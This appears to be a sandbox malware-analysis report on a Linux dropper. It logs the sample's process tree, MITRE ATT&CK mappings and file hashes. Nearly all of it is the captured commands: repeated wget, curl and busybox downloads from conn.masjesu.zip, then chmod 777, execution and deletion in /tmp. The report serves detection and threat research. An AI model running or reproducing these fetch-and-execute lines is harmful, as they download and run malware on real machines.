  chmod 777 OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  ./OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  ./3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  ./4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  ./kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - System Network Configuration Discovery
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  ./O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  PID:1005
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1007
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /bin/chmod
  chmod 777 uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  ./uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  PID:1012
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1014
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /bin/chmod
  chmod 777 yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - File and Directory Permissions Modification
  PID:1017
- /tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  ./yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - Executes dropped EXE
  PID:1018
- /bin/rm
  rm yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY

Path /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h

Path /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512